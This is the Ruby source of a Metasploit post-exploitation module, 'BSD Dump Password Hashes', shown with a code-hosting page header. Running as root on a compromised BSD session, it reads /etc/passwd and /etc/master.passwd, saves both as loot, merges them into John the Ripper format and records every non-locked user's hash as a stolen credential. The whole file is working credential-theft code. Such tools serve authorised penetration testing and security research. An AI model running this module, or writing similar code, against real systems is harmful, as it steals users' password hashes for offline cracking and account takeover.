adfoster-r7
93 lines
2.5 KiB
Ruby
93 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'BSD Dump Password Hashes',
|
|
'Description' => %q{ Post module to dump the password hashes for all users on a BSD system. },
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['bcoles'],
|
|
'Platform' => ['bsd'],
|
|
'SessionTypes' => ['shell', 'meterpreter']
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
unless is_root?
|
|
fail_with Failure::NoAccess, 'You must run this module as root!'
|
|
end
|
|
|
|
passwd = read_file('/etc/passwd').to_s
|
|
unless passwd.blank?
|
|
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
|
|
vprint_good("passwd saved in: #{p}")
|
|
end
|
|
|
|
master_passwd = read_file('/etc/master.passwd').to_s
|
|
unless master_passwd.blank?
|
|
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
|
|
vprint_good("master.passwd saved in: #{p}")
|
|
end
|
|
|
|
# Unshadow passswords
|
|
john_file = unshadow(passwd, master_passwd)
|
|
return if john_file == ''
|
|
|
|
john_file.each_line do |l|
|
|
hash_parts = l.split(':')
|
|
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
|
|
|
|
if jtr_format.empty? # overide the default
|
|
jtr_format = 'des,bsdi,sha512,crypt'
|
|
end
|
|
|
|
credential_data = {
|
|
jtr_format: jtr_format,
|
|
origin_type: :session,
|
|
post_reference_name: refname,
|
|
private_type: :nonreplayable_hash,
|
|
private_data: hash_parts[1],
|
|
session_id: session_db_id,
|
|
username: hash_parts[0],
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
create_credential(credential_data)
|
|
print_good(l.chomp)
|
|
end
|
|
|
|
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
|
|
print_good("Unshadowed Password File: #{p}")
|
|
end
|
|
|
|
def unshadow(pf, sf)
|
|
unshadowed = ''
|
|
|
|
sf.each_line do |sl|
|
|
pass = sl.scan(/^\w*:([^:]*)/).join
|
|
|
|
next if pass == '*'
|
|
next if pass == '!'
|
|
|
|
user = sl.scan(/(^\w*):/).join
|
|
pf.each_line do |pl|
|
|
next unless pl.match(/^#{user}:/)
|
|
|
|
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
|
|
end
|
|
end
|
|
|
|
unshadowed
|
|
end
|
|
end
|